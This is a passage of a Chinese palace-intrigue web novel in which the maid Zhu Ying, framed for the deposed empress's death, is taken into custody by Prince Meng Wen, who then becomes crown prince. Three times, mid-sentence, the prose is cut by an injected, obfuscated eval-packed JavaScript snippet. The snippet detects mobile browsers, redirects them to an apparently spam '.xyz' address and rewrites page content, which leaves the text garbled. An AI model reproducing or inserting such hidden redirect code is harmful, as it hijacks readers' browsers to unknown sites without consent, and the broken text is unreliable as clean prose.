张太医一口咬定：“就是此人，下官不会错认。十一月初五那日她拿着宫牌到太医署寻医，几位医官有事要忙，皆抽不开身，她这才找上了下官，让下官前往西苑为皇后问诊，还给了下官一个锭金子。” 有一男子冷声道：“你可知欺君是什么下场？” “皇天后土在上，下官岂敢有谎？物证在此，还请殿下明辨！”张太医垂首上前，恭恭敬敬捧上他所说的物证，正是竺影给他的那枚金锭。 “当真是啊……” “我见过，是齐王赏给她的。” 静和宫的宫人议论纷纷。 竺影听明白了，宜夫人排了这一出好戏。 原来这些天留着她性命，是为了今日。 孟晓送给她的东西，寻常宫人几时能见过？ “三郎，你也听到了。”宜夫人抬扇掩面，话音悠长，难掩得意，“此事皆是这个宫人所为，她出入太医署贿赂医官，乃至私自前往西苑之事，我一概不知情。” 竺影猛然抬起头，三皇子？ 一身缟素撞入眼帘，竺影的视线缓缓往上，看清了那个被宜夫人称作三郎的不是别人，正是三皇子孟闻。 孟闻垂着眼看她，恰与之视线对上，沉静面上乍然浮现错愕，如一石砸碎的湖冰，万千冰棱如仞立，不免寒栗。 相视间，抹额前垂下的几丝发被寒风搅得凌乱，平添几分沧桑。 他什么也没说，却好像什么都说了。 竺影跪在地上冻得浑身发颤，似自嘲般，低低嗤笑了两声。 他因罪人是她而错愕，竺影在笑静和宫的算计。 曾几何时，她还是屡次三番前往西苑为他雪中送炭的人，转眼就成了宜夫人指认的罪魁祸首，亦或是偷鸡不成蚀把米的替罪羊？ 就连收了她好处的太医，此刻也唯唯诺诺地帮着宜夫人作假证。 真真是可笑。 孟闻收回了视线，却不发话。 张太医紧接着道：“下官给鸣鸾宫开的药方上写得清清楚楚，皆是进补的药物，对病人的身子有益而无害。谁料竟有人偷偷换了药，查验了鸣鸾宫每日倾倒的药渣，竟与几位太医开的方子对不上。这换药之人居心叵测，竟然妄图谋害殿下生母！” 竺影沉沉闭上了眼，这几日在心中筹措百遍的辩解，到临场成了一言不发。 孟闻听罢张太医的申饬，继而转身看向宜夫人道：“如此说来，是静和宫里的人犯下这等祸事，算不算是夫人管教不力？” 宜夫人脸上僵了一瞬，很快又解释说：“这宫人平日里看着老实本分，谁知她藏得这么深？连我都被蒙在鼓里，看来要好好地审一审，揪出她的背后之人，还三郎一个公道，也还我静和宫一个清白。” 话毕，她悠悠摇起扇来，本来等着孟闻答应下来，让静和宫将人审了，什么解释自然是她说了算。 孟闻审视她良久，慢慢开口道：“那么这人，随我处置？” 宜夫人有些意外，不想他会直接开口要人。看向竺影时，忽有些惋惜，像是料定了她必死无疑。 “三郎既然开了口，就交由你处置罢了。至于如何审，静和宫不会过问。” 孟闻瞟了竺影一眼，咽下了其余的话，只吩咐左右：“商音，角音，把人带回去。” 宜夫人装作好言提醒道：“她可不是什么省油的灯，三郎可要审仔细了，指不定她与静和宫外的人还有什么牵连。” “此事不劳夫人费心。”孟闻漠然推却她的“好意”，仅仅行过礼便转身离开。 又下雪了，颗颗雪尘落在人眼角眉梢，模糊了前路。 一行人中，竟没有一人想起要打伞，都默默淋着雪回宫。 竺影窥望走在最前的人。 他并未穿着往日的常服，只有素白的阔袖与发带在风中荡开，与冬雪融为一体。 风雪之声愈听愈飘零。 陆皇后薨逝，她早早料到，今日才知晓。 沿途的宫灯没有罩上白布，宫门上不悬白绫，更没有宫人为此服丧。 也不知会是这么个结果。 今人为刀俎，她为鱼肉。 三皇子方承受丧母之痛，还不知道会怎样处置她。从前那么点微不足道的恩情，恐怕不够抵她这一条性命。 这一条路她很熟悉，几次三番在深夜里跑出来，前往废后的居所。 地砖凹凸不平，积雪也深深浅浅，两个侍从搀着她走得极快，令她一步一颠簸。 不知是谁口中冒出来一句：“殿下真要把她带回去？看她这副样子，怕是活不成了。” 竺影心中恼了，发不出声，只得胡乱拧一下他的胳膊。 另一人道：“你抓错人了，不是我说的。” 走在最前的人道：“你二人今日殊为聒噪。” 那两人便都不说话了。 废后已逝，他还是住在鸣鸾宫。 到了屋檐下，那两个随侍并不客气，只随手将竺影往地上一扔，惊起一地微尘，好生狼狈。 孟闻看着她，喃喃道：“原来是静和宫的人呐……” 这话说得不明就里。 竺影低着头，使劲攥着裙子使自己冷静，却好一会儿没缓过来，也没作声。 正忖度着什么样的说辞才能使她免于一死，然这人似乎没什么耐心。 刹那之间，头顶上传来铮然一声，吓得她一激灵，壮着胆子偷瞥他一眼，才发现他只是握住剑柄，正了正腰间的佩剑。 “有什么要说的？”孟闻问她。 竺影抬头看他。 他又微微俯下身，低下来几许。 “给你个机会，不狡辩一下吗？” “此前……” 她染了风寒，很久没说话，张口时声音哑得听不出。 “小人此前去过太医署，是受羽音所托。当值的几位太医无一人愿意前往，只得行贿。张太医受了小人那十金，他才肯到西苑去，为皇后诊病。小人换过太医署开给皇后的药，也明明白白呈在殿下面前，您看过的。如果说皇后病发之事与小人无关，小人从来没想过要害她，殿下会相信吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399060|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟闻不置可否，只道：“十金，可真是笔不小的数目。” 冷宫里的废后拿不出来，他这无权无势的皇子也拿不出来。 可偏偏静和宫里的一个寻常宫人轻易就拿得出手。 角音心生不忿，在一旁建言：“殿下，不如将这罪人送去狱中，就不信她扛过了刑罚，还能这般嘴硬！” 至于三皇子，他良久没发话。 陆芃从门里走出来，见到竺影就止住了脚步，停在远处旁观着。 竺影看过去，她就收回了目光。 商音走过去说道：“请女郎君回避，这样的场面还是不要见到的好。” 陆芃却道：“我来问一问表兄，耽搁了这么久，今日是否还要去延鹤宫？” 字里行间尽是催促，竺影听出了这是在为她解围。 孟闻回望她一眼，这时才开口：“移交给别人审问，怕是当晚就弄死了，能问出什么来？” 商音问：“那该如何处置？” 那人的目光落在竺影冻伤的一双手上，悄然叹息：“叫徴音过来，把她带下去吧。” 商音又问：“栖梧宫是否要查？怕是杜修容也免不了嫌疑。” 半晌，孟闻道：“先不必去查了，母亲刚走，不该让这样的人惊扰她。” 此时没有发落，也谈不上放过。 他憔悴了，穿着一身孝服，又在雪景里黯淡了许多。 看着竺影时，那神色淡淡的，掺了些讥讽。 她想，其中应当有恨吧。 宜夫人是个聪明人，此举既能令三皇子横在恩与仇之间，左右为难，又能借刀杀人除掉竺影，不至于亲自动手，引得她与齐王母子交恶。 至于孟闻，如果他想要留下这个替罪羊，就必须接受宜夫人给他的“交代”，也就没法继续向静和宫发难，无法替亡母讨一个真正的公道。 竺影体会过他的悲哀，那些位高权重者说什么就是什么，不论是竺家人，还是陆家人从来没有得到过一个真正的“真相”。 徴音奉命过来时，孟闻已离开了鸣鸾宫。 竺影来到鸣鸾宫这天，是停灵的第三日，陆皇后的棺椁已经移至延鹤宫停放。 他刚从静和宫里回来，便要过去守灵。 竺影跟随徴音穿过外廊，去往内院。 一路上，她单单望着两棵从王府移栽过来的棠棣树，落光了叶子，只剩下横斜的枝柯，成活都是问题。 椿萱不茂，棠棣无华。 庭院里弥漫着浓重的烟气，仅是从中庭走过就已携了满袖的香。 香气弥散，使人靡靡。 这样浓重的香气，应当焚了许多香料，且都并非廉价之物。 名贵的香粉似不要钱的投进香炉里，香料熏燎的烟气与香烛、纸钱燃烧的烟气混杂一起，在鸣鸾宫中缭绕了三天三夜，不知道还有多久才能散尽。 皇后生前最喜制香，可被废以后，已多年不焚香。 竺影猜到这宫里的香是谁焚的。 陆家的女郎已很久没有这样奢靡过了，她在以这种方式送亲人最后一程。 天灾不断，人祸不断啊。 徴音转过头来同她说道：“殿下吩咐了，大家都在夫人的后事奔忙，没有闲暇去收拾新的屋子，委屈你暂且与我住在一块吧。” 竺影并未多言，只点头道：“劳烦你了。” 从前她巴不得离开静和宫，千辛万苦爬出泥潭，转头陷入另一处泥淖。走得匆忙，什么也没来得及带上。 这么些天，孟晓送她的那一对蛐蛐，应该冻死在瓮里了吧。 只是想来，有些可惜。 18. 凛风鸣竹（八） 竺影在榻上昏睡了一日。前段时日活得战战兢兢，入梦也浑浑噩噩。 清醒时，发觉有人在身侧。 那人执一竹片，在给她手上的伤口上药。 膏药冰凉，抹上冻疮却又觉得发烫，又痛又痒。 竺影忍不住睁开了眼，一声不吭地看着。守着她的人不是徴音，而是陆芃。 平日里口嫌体直说厌极了她，此时又认真地给她擦药，竺影倒是一点也不意外。 竺影见她披着一身缟素，此刻低头上药，面上不见泪痕，眼中不见悲怆，只有红肿的眼证明她曾有过一场恸哭。 短短十几日，体会过短暂的失而复得，继而是长久的失去。 竺影依旧默不作声，没有解释，也没有开解她。 陆芃甫一抬眼，发现竺影醒着，两条眉毛便又竖了起来。 两人视线相接的一刹，又即刻分离，各自移开眼去。 醒枝还是那个陆醒枝，张口便要呛一句：“知道醒了？半月不见，我还以为你死了呢。” 竺影却怔忡着道：“对不起。” 她很久没说话，声音还哑着。 “不是像从前那样，我是真的——真的想要去救她。” 陆芃道：“同我说这些做什么？你以为我是什么人？以为我会怎么去想你？” 竺影道：“我只是对你不住。” 陆芃原本早就不哭了，不知是竺影的那句话又拨开她心绪，让干涸的泪又找到源头，止不住地往外冒。 夺眶而出的泪水“啪嗒”落在竺影手背上。 “知道对不住，你还不如闭嘴呢！”她仿佛恨极了这样的失态，胡乱抹去眼泪，忙手忙脚收起膏药。 竺影果真闭了嘴，没再说话。 陆芃又道：“答应你的事我记得，表兄那里我什么也没说，更不会去帮你求情。” 竺影道：“好。” 哪怕将万千误解咽下使之如鲠在喉，也不愿将半句解释诉之于口。 陆芃给她上完了药便离去。 不久，竺影也披衣下榻，想出去走走。 睡了太久，意识有些昏沉，冷意总是能让人清醒。 “你醒了啊。”徴音身着缟素，端着衣案从连廊的另一端走来。 “嗯。”竺影淡淡回应。 徴音怕她四处乱走，于是提醒着：“殿下还未回来，你——暂且留在鸣鸾宫吧。” 竺影问：“三皇子何时会回来？” 徴音道：“我也不知晓，殿下守在延鹤宫，葬仪还要持续好几日。你若有什么缺的，只管问我便好。” 竺影道：“好，多谢你。” 徴音又把给她准备的衣裳递过去，同她道：“将这身衣裳换下吧。” 鸣鸾宫人皆素衣，只有她一身旧衣鲜妍得扎眼。 “好。”竺影回屋换了衣裳，将头发绾成了寻常宫人的发髻。 只有陆皇后身边的几人在她死后为之守丧，白衣、白绫、白雪，让岁暮的光景更加惨淡。 两日后，襄王与齐王进宫，依礼前往延鹤宫祭拜陆皇后，便各自回宫拜问母亲。 孟晓火急火燎赶往静和宫，甫一进门见过礼，便问起：“鸣竹去了哪里？她为何不在宫里？” 宜夫人轻呷一口茶，搁下茶盏，不紧不慢地开口：“你半月未进宫，一见面不问君父不问母亲，倒先找起一个宫女来了，也不怕惹人闲话。” 孟晓道：“我知道你从不喜欢她，你也明知我为何会先问她。” “她曾以我的名义去太医署为冷宫的人请医，又几次三番与冷宫的人接触，有谋害废后之嫌。两日前被孟闻带走了，这会不是在牢狱里，就是被抬出宫去了。”说完，她晏晏笑着，“这样的结果，我儿满意否？” 孟晓按住指上白玉环，咬牙道：“你说什么？” 宜夫人道：“不信的话，你自己去太医署好好地问一问，我可有冤枉她。她是你的人，在你眼皮子底下做了那些背主的勾当，你全然不晓吗？” 孟晓道：“她所行之事我尽数知晓，反倒是母亲，您所做之事——” 他竟一概不晓。 他冷笑道：“儿不知母，倒像是今日才认识您。” 宜夫人怒道：“住口！” 孟晓向她辞行，便踏出门去，或是往鸣鸾宫，或是往掖庭。 三皇子在这日傍晚回了一趟鸣鸾宫。 彼时他在寝殿中更衣，徴音匆匆把竺影叫到三皇子的书房前候着。 孟闻换好衣裳从殿中出来，告知一旁的羽音：“今日让徴音随我前去，你留在这里。我今夜在延鹤宫守灵，不回来了，殿里不用留灯。” “是。”羽音点头应道。 孟闻又抬手指了指竺影，说道：“你，也一并跟着。” 竺影并不知三皇子为何叫上她，但也并未多言，戴上徴音递来的风帽，便一道出了门。 他没有乘辇，只有两个持宫灯，两个持华盖的宫人跟随，徒步去往延鹤宫。 彼时东阳门雪霁，又一批新选的宫人跟随着内官入宫，过东阳门，往掖庭宫。 从鸣鸾宫到延鹤宫，刚好会经过这里。 正巧，掖庭宫外，杂役正将那些被杖杀的宫人从偏门抬了出去，血气凝滞，尸身一具接着一具。 竺影远远地看着，险些，她也成了其中之一。 无数人向往金碧辉煌的章华殿，憧憬一人之下万人之上的荣华，殊不知这座宫城里，既有醴泉宫，也有阎罗殿。 宫奴的性命微不足惜，哪怕曾贵为皇后，今也不过灵柩中的形骸。 生者，也不过游走于宫墙下的行尸走肉而已。 正当此时，一个玄衣玄冠的男子快步流星越过宫门，阻在那些杂役面前，不知说了些什么。后有更多的宫人从他身后涌出，掀开蒙在那些尸首上的白布，一个个地查看、辨认。 竺影先认出来了，那人正是今日进宫的齐王。 不在延鹤宫祭拜，也不去静和宫见宜夫人，出现在此次是在寻谁呢？ 寻她吗？ 一个差点死在这个冬日的人。 拜宜夫人所赐的冻馁之苦她还没忘。 竺影胸中气还没消，见他这样着急忙慌，才觉得好受些许。 “在看什么？” 孟闻忽然出声，是在问她。 竺影道：“没什么。” 孟闻却直指向掖庭宫外一番“奇景”，问她道：“你可认得他？” 竺影顺着他指的方向看去，没有否认：“认得，齐王出宫以前，小人曾侍奉过他。” “竟也坦诚。”他故作惊讶，又问，“你可知，他在找什么？” 竺影清楚，三皇子是在试探她。 这时她又有所隐瞒，只道：“不知晓。” 面对竺影的回避，他也并未过多追问，只在回过身时，讥讽地轻叹一句：“奇也怪哉。” 竺影默默跟在华盖之后，将风帽拉低了些，转过头去，刻意不去看掖庭宫外那个失态的疯子。 竺影跟着他行过很远一段路，看他穿过风雪，虔诚地赶到亡母灵柩前。 她忽然想起很久以前，听某位大人物说起三皇子少时于林场失鹿的故事，许多年前曾是美谈，放到如今倒不见得。 因一时恻隐，他所失去的究竟是鹿，还是别的什么？ 也许陆皇后看懂了，从她离开西苑的那一刻，就没想过要活着。 竺影看着他的背影，喃喃自语道：“这么简单的道理，怎么会看不懂？” 三皇子求得陛下，召京畿始宁寺的僧人入宫做法事，寥寥几位僧人正在常侍的指引下依次步入殿中，清一色的僧袍袈裟从眼前掠过。 延鹤宫里香火弥漫，靡靡的佛唱声延伸出屋宇，飘向更遥远的旷道。 三皇子独自走向灵柩，竺影与徴音跪在阶下，只能远远看着停放在宫殿正中的梓宫。棺椁漆黑，其上盖着一张画帛，用朱漆与金漆描绘了一张天上、人间、黄泉的画卷。 它好端端停放在那儿，却让竺影生了错觉。 好像困在宫城的废后并未因死而解脱。 周遭所有事物，诸如僧人的佛唱、檐下的白绫、虔诚跪拜的三皇子、肃穆守在此处的宫人、乃至皇宫的秩序……周遭的一切如同锁链，层层束缚，将她永远困在了这座宫城里，不得解脱。 三皇子在延鹤宫守了一夜，竺影就也跟着他在此处待了一夜，更多的时候是跪坐着，听僧人念经，诉皇后生平。夜幕降下后，余下的只是更为长久的静默。 整整七日，他每一夜都要这样守。深冬风雪肆虐，漫漫长夜也变得更难捱。 翌日晨光熹微，竺影才等到三皇子从台阶上走下来，跟他一道回鸣鸾宫。 这一夜她饱受折磨，跪得双腿麻木，人也麻木，差点就站不起来了，更别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401834|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提还得穿过大半个宫城走回去。 酷刑，不外如是。 回到宫中，三皇子吩咐徴音可以回去歇息了，至于竺影，他还是随手一指，说道：“你随我来。” 竺影这才想起，其实关于她的审问与处置尚未开始。 孟闻进了书房便开始置纸笔研磨，他自顾自坐着，从始至终没分给她半分眼神。 竺影能做的也只是等待，哪怕累极了，也只能强忍困意睁开双眼，看着他手中墨条在砚中打转，一下一下地搓磨，如一柄利刃悬于头顶，凝成了煎熬。 孟闻开口：“昨日，你见到那些抬出去的死人了。” 竺影道：“见到了。” 他低头研墨，落下一句轻飘飘的威胁：“你再敢有半句谎言，便也是那样的下场。” 竺影于筵席外伏首而拜，道：“小人不敢。” 这是她的第一句谎。 他显然没什么反应，又问起：“宜夫人为何单单拿你抵罪？你得罪过她？” 竺影道：“兴许得罪过，夫人不容我，是因为齐王。” 孟闻道：“这么说来，你是我皇兄手底下的人？” “算是吧。”她思来想去，挑了个还算严谨的答案。 他不容含糊，刨根问底：“什么叫算是？” 静和宫的人都把她当作齐王豢养在宫中的姬妾，竺影不愿挑明这层关系，只能回答说： “曾经是。” “哦——”他侧目看过来，打量道，“如今怎的又不是了？” 竺影道：“他出宫开府，将小人留在宫中了。” 话语间，孟闻隐隐察觉出一些微妙的情绪，不得不正视起她来。 他复而问道：“当初是他指使你来了西苑？你既是得了齐王授意前往太医属，受宜夫人指认时为何不做辩解？” 竺影道：“齐王与夫人素有嫌隙，子不知母，母不知子，夫人不知齐王驱使我，齐王亦不知夫人想借此杀害我。” 他忽而抚掌，皮里阳秋：“倒是从未听说过，这么快就把你主子给卖了，你还真是‘忠诚’。我问过许多人，他们皆不知你有亲眷，更不知你从前。我若是宜夫人，一定不会选这么个人去顶罪。无亲无故的，捏不住把柄，更不可能忠心，她竟不怕你抖出这些事来。” 竺影平静道：“她以为我活不过当日。” 孟闻道：“也是。” 那日被拖去掖庭杖毙的宫人数不胜数，都是陛下亲自下的令，只有眼前这人，承着弑母之恨，却包庇了许多宫人。 “我明明查到了罪人，那罪人却狡辩，以刀杀人，是刀之过，而非杀人者之过，还拿他家门口的石狮子来抵罪，岂不荒唐？”他神色悲戚，无可奈何地叹惋，“可是古往今来，这样的事情又多了去。” 竺影没有附和。 孟闻终于放下墨条，将毛笔递给她。 “再将那药方默一份。” “什么药方？” 孟闻道：“你此前去西苑，将太医署开的药换成了什么，都一一写下来，一味也不准少。” 竺影接过笔，端坐在案前，依他的要求将那治伤寒的药方默写下来。 她书写的间隙，另一人也不闲着。玉色的指尖轻敲着案上书卷，那卷书正是载着宫人底细的档案。 “鸣竹，十年入宫，年十五，在掖庭一年，栖梧宫一年，静和宫四年，算下来刚好二十有一……” 他一边敲，一边念，像是刻意要扰得她心神不宁。 可她一夜未合眼，今晨执笔却丝毫不抖，字迹也不曾歪斜。 孟闻道：“从前那些借口编得一点也不像样。先母在西苑七年，而你入宫不过六年，如何能见过她？如何能受她恩典？” 竺影放下笔，平静道：“小人得见先皇后，是在宁朔九年以前。而后小人才因家族获罪入宫的。” 宁朔九年，陆氏一族惨死于刑台上，她的父兄也牵连其中。也是在同一年，陆皇后被废，竺影明知此案是横在他心中的一根刺，还是不知好歹地提起。 孟闻攥着拳头没有作声。 待墨迹干透，她将写好的药方呈上。 他似乎生气了，竟是看也不看一眼，只说：“你可以走了。” “是。”她片刻也不犹豫，当即起身拜别。 像是怕竺影会错了意，他又专门提醒：“只让你走出这扇门，没准你离开鸣鸾宫。” 19. 凛风鸣竹（九） 时维宁朔十五年冬十二月，废后的棺椁在延鹤宫停灵第七日，法事毕，于岁暮廿四出殡，葬于京畿之南，绮亭之东。 一国之后，曾浩浩汤汤走进宫城里，末了黯然离去，潦草断送一生。 葬礼不过七日而已，其实世间也不剩几个来送她的故人。 只有她遗留世间的孩子，陆氏存余的后人，还有从前侍奉她的宫人。 三皇子于灵前焚祭文告于泰山府君，火舌蔓延得快，竺影只看得最后一段。 “愿母早得归，于此长安歇。倘使逝者得以凭虚御风，行过四海，览遍八荒。心如野鹤，尘网何能缚？纵游览于蓬蒿之间，亦胜困于金阙万千……” 可观者自清楚，人死如灯灭，哪有什么魂归天地间。 有的不过是一点幻想，这些幻想能让活着的人好受些。 祭文焚尽，余一盆残灰，生者最后一点念想，也随帛书被火苗吞噬殆尽。 送完亡母最后一程，孟闻还要回到那座宫城里。 尚常侍也在法事结束后，再度来替陛下传话。 “陛下召三皇子去鸿嘉殿。” 陛下在此时召见他，是为何事，众人皆摸不着头脑。 孟闻却似猜到了，神色微动，难掩疲惫，只依礼道：“劳尚常侍稍等片刻，我即刻便往。” 尚泓瞥他一身素衣，好言提醒：“小人在此恭候三皇子更衣。” 孟闻没再拒绝，往内室去，脱下一身孝服，换了身浅色的长褶衣，又披一件结绿色氅衣，便出了门，随尚常侍前往鸿嘉殿。 皇帝正与几位大臣在殿中议事。 除了秘书令、太史令、尚书左仆射王若几位常客外，尚书令陈柯、太常崔慎、侍中杨恒之、侍郎兼给事中容桢也在。 崔太常道：“明年浴佛节陛下要亲谒佛寺，可始宁寺仍待修缮，宫里又才翻新了东宫与后宫。陛下看——观星楼是否可以暂缓？” 孟雍不悦道：“朕叫你来是说这些的？这天底下哪一处不是百废待兴，怎么皇城的缓不得，京畿的缓不得，偏偏就并州缓得？” 王若从中缓和道：“佛诞在四月，为时尚早。再说始宁寺前两年才修过一遭，年年修葺倒也不必。崔太常只需负责典礼，怎还操心起将作监的事了？” 其余几人也点头道：“是极是极。” 逢此时，尚常侍引三皇子入殿中。 孟闻先拜见陛下，随后见过几位大人，与崔太常道：“国之大事，在祀与戎。*太常所忧亦是情理之中，苦于今年各地灾患不断，国中开支众多，二者难以齐头并进。陛下先重北地，自有他的考量，并州与乌护接壤，乃我朝军事重地，然民生凋敝久矣，连年轻徭薄赋，却不足以休养生息，不足以供养军备。只怕一延再延，积弊更深。” 众人皆道：“不错。” 孟闻所言，亦是陛下所想。 只是此前北地诸事由梁氏总揽，顾及中书令的情面，无人敢当面诉之于口罢了。 孟雍倚凭几而笑，问从嘉：“这话是你教他说的？” 祝从嘉道：“并非，陛下指臣为三皇子讲学，才是几日前的事，彼时三皇子尚在延鹤宫。” 孟闻道：“臣所言，是从一本名为《禳灾》的书中学得，在秘阁偶然见得，便读了。” 陛下听了，深色未变，只是殿中有两人，听闻“禳灾”二字，迟滞了一瞬。 从前与陆尚书同在北地督军事的同僚，说没听过这本书，自然是假的。 三皇子说了这番话，崔太常也就噤了声，不再多言。 他既愿往北地揽下这个烂摊子，旁人自是不会阻拦。 旁观者如何不知，三皇子幼年之时提笔识字，少年之期挽弓跨马，皆由陛下亲自教抚。 在所有的皇子当中，陛下最喜欢的便是这第三子。 三郎少时与两位兄长出猎，只有他猎不得鹿，空手而归。陛下不曾怨责，反倒自嘲一笑：“朕为人父，却不善为人师，比不得宫中教习射术的老师，安能怪三郎学艺不精？” 后来稚子长成，能拉得开更重的弓，却再也没进过鹿苑。 到如今三皇子离开西苑，一步步走到鸿嘉殿里。此时襄王不在，齐王也不在。皇帝的心思，众臣皆已明了。 议完北地之事，皇帝命容侍郎与孟闻同往北地，便屏退众臣。 大殿里只有父子二人。 俄而窗外雪晴。 晴光透过窗格，照得鎏金香炉与连枝灯光彩迷离，也照得华服上的金线流光熠熠。 皇帝身形初显佝偻，裹在宽大的衣袍之下，他的确老了。 孟闻看向皇帝说道：“父皇当初所言之事，儿臣如今懂了。” 这几日他没有落泪，只是煎熬了几个彻夜，眼下乌青，稍显憔悴。 他初来那回，跪在阶下，与鸿嘉殿格格不入。 一身锦衣玉冠，才将那个承风雪的少年从破败之地拉回来，融入这富丽堂皇的宫阙。 皇帝忽感欣慰，同他道：“王若忠贞敦厚，可以为佐。祝从嘉知经天纬地，通古今政事，可以为师。杨恒之是个秉直中正之人，若逢歧路，可与之求教。他三人我皆信得过，便放心使其为你引路。” 孟闻再度看着他，难免愕然，心中忽然抽痛了一下。 只听皇帝说道：“新正是个吉日，一年伊始，万象更新。届时收拾妥当，迁居东宫吧。” 他口中的话，自是不会有戏言。 孟闻起身离席长拜道：“儿臣叩谢陛下。” 东宫储君，废出自皇帝之口，立也出自皇帝之口。 不日立太子的诏书传至恩光殿，满朝轰动，诸多大臣惊诧不已，从前扶助襄王与齐王的臣子更是将牙咬碎了往肚里咽。 独独皇太子像个物件一样，被从架子上拿下来，又放回去。不因此喜，不为此悲，也从来都拒绝不得。 睢言最后一日流连故所，想在这座宫殿里找寻所有生母留下的痕迹。 金丝笼中早就不豢鸟雀了，檐下悬挂笼子的金钩索还留着。承重的楠木柱子后，清漆下还藏着小儿拿刀刻下的涂画，一笔一划，顽劣又天真。 这是他幼时成长的居所，有时肆意玩赖，行走殿中，撞进慈母裙佩里，扑得满面兰樨香。 陛下也会在下朝后来到鸣鸾宫，亲自督查他的课业，叮嘱他不许扰母亲头疼。 那是极其久远的记忆了。 孟闻枯坐在皇后生前的寝殿，回看眼前，角落里的一株兰无人照料早已经枯死，金兽炉中的香料早就燃尽了，时隔多日走在宫中，还能闻到未曾消散的香气。 镂花门外的的人影来来往往，正在将那些不常用的饰物拆去。 其实折费人力翻修的鸣鸾宫，压根没沾染过几天人气，就永远失去了它的主人。 日头落在宫城的重重屋檐后，岑寂落在鸣鸾宫每一寸的角落。 孟闻靠坐在屏风后，有人持纱灯一盏，推门而来，缓缓行至他跟前。 长裙曳地，他仰首看清了那一道影，影影绰绰匿在灯火中，竟有些失望。 “这么晚了，你来做什么？” 徴音道：“是女郎君让我过来看看，她放心不下殿下。” 话音落下，灯火也划过眼前，点燃架子上的灯烛，照彻大半个宫室。 孟闻徐徐扶着漆木屏风起身，说道：“有什么可担心的，我不是让你看着那人吗？你来了这里，还有何人盯着她？” 徴音说道：“鸣竹啊，她早就睡下了。” 孟闻道：“刀架在脖子上，难得她还能睡得安稳。” 徴音道：“可我观察了许多天，她如常作息，时常独处，也不喜与旁人往来。” 孟闻道：“真是稀奇。” 徴音道：“静和宫里冤死的人不少，殿下会不会冤枉了她？明日齐王进宫，何不同他问个清楚？” 孟闻道：“罢了，你看着她便是。” 徴音点头道好，又劝道：“夜已深了，明日就要迁去东宫，殿下早些休息吧。” “你先回去，不必管我。”孟闻扶着柱子，缓缓绕过屏风，凝睇墙上几幅字画。“我只是想再看看这里罢了……” 徴音轻掩上门出去，没再打搅他。 岁聿云暮，暖意随天光一寸寸北移，日子也一天天从脚底滑过。 转眼一岁已除，太子迁去了东宫，不忘将竺影这替罪羔羊也一并带上。 东宫正殿为恩光殿，左右另有崇庆殿、德音殿两座偏殿。偏殿后建有几间轩房，都空置着，应当是给太子未来的姬妾准备的。 恩光殿东边有座二层小阁楼，楼上悬着一块匾，题名为“洗春”。洗春阁原是堆放各种珍玩藏品的库房，善本古籍尽数收纳其中，太子殿下便将此地划为书房使用。 原本侍奉陆皇后的两个宫人徴音、羽音到东宫以后，分别做了恩光殿与德音殿的管事。另两个对竺影没好气的侍从——角音和商音，成了太子近侍，跟随左右。 轮到竺影时，太子略略皱眉，随手一指：“看着是个通文墨的，让她到洗春阁去罢。” 就这么一句话，随意安置了她。 于是她成了洗春阁的女史。 早在几年前，杜修容要荐她去做的女史，如履薄冰几年，还是逃不开。 竺影真想撂挑子啊。 只得安慰自己，待在这里至少比在静和宫好些，太子好歹是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427039|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个通人性的，虽厌恶她，不常见面就是了，也不会刻意刁难。 洗春阁在何处，她倒从未去过。 到了才发现，此处竟有幽篁，迂回曲折的连廊在竹丛中若隐若现，直通洗春阁。 白雪廊下，冬风过境揽得竹节互相敲打，发出声声轻鸣。 竺影从廊间走过，乍以为回到了云琅城的故居。 是耶非耶，如梦恍惚。 有个宫人嫌连廊弯绕，偏要走雪地里的直道，谁知脚底一滑摔倒在雪地里。 徴音见了，赶忙过去搀扶，被羽音拽住了裙摆，也不慎滑倒在地。 另两个想过去帮忙的宫女，一个踩了裙子，一个绊了脚跟，稀里糊涂滚到了一块去。 凛风鸣竹的庭院里，雪还在下着，那几个满身狼狈的宫女却抱头挤在一起，笑得上气不接下气。 少女无邪，总是天真又美好。 笑着笑着，不知是谁突然说了一句：“要是皇后还在就好了。” “她见了这一幕，也一定会笑的吧，哪怕是笑话我笨手笨脚也好。” 所有人都愣了一下，不多久，有人低头藏起湿润的眼，有人抹着眼泪开始抽噎，而那个最先开口的人呆愣着，不知所措。 竺影停在廊下，木然望着这一幕，不知为何舍不得就此离去，便伫足在此看了一时半刻。 不远处传来一阵很轻的脚步声，挟着衣料摩挲的声音到了她身后。 竺影早有察觉，转过头时还是被他吓了一跳，慌忙行礼道了一声“太子殿下”。 孟闻淡淡应了声，也看着那几个抱在一团的宫女，没作斥责。 过了半晌，等她们心情平复了些许，他才朝那边的人开口：“早晨吩咐你去办的事，全然忘了吗？” 